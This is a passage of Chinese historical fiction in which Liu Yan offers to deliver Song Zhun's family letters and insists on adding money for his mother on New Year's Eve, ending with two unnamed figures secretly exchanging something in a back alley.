他拿着那一叠家书,十分郑重地递给柳晏:“稚言,拜托你了。” “嗯,放心,一定原封不动地交到令慈手上!”柳晏把那封家书放进了包袱里,又问,“你是不是给家里拿了不少银子?你自己的还够用吗?” “自然是留够了自己的才给家里的,州里给的赏钱,我一文也没动,都在里面了。”宋准道。 柳晏歪着脑袋想了想:“八十贯?这怎么够,我再给你添点儿,凑个一百五十贯吧。” “啊?这怎么行?这也太多了,家里也就我母亲和阿徴,要不了多久阿徴也要出仕了,哪里用得了这么多钱。” “我钱多得没处花,就愿意给你。要出仕怎么能没有银钱疏通关系呢,你就别管了,啊。” 令狐朝也笑笑说:“是啊,你别管稚言了,他想给的东西,无论如何也会给出去的,鬼樊家大业大,这些钱对他来说也不算什么。” “嗯……可是……”宋准还是有些犹豫,自从他认识他们二人以来,没少受他俩的照顾和恩惠,如今自己给家里捎东西,柳晏帮忙不说,还自己添钱进去,他实在是不好意思了。 “别可是了,我说什么就是什么,走,回堂屋里守岁去,一会儿还要出去放烟火呢。”宋准被柳晏拖着走了,外面已经有依稀的爆竹声响,在寂静的夜里格外动听。 在隔着几条街的小巷角落里,有两个人在交接着什么东西,从袖子里拿出来,又飞快地收回去。 “小心着点儿,别再让黄雀发现了。” “知道了,少说几句吧。”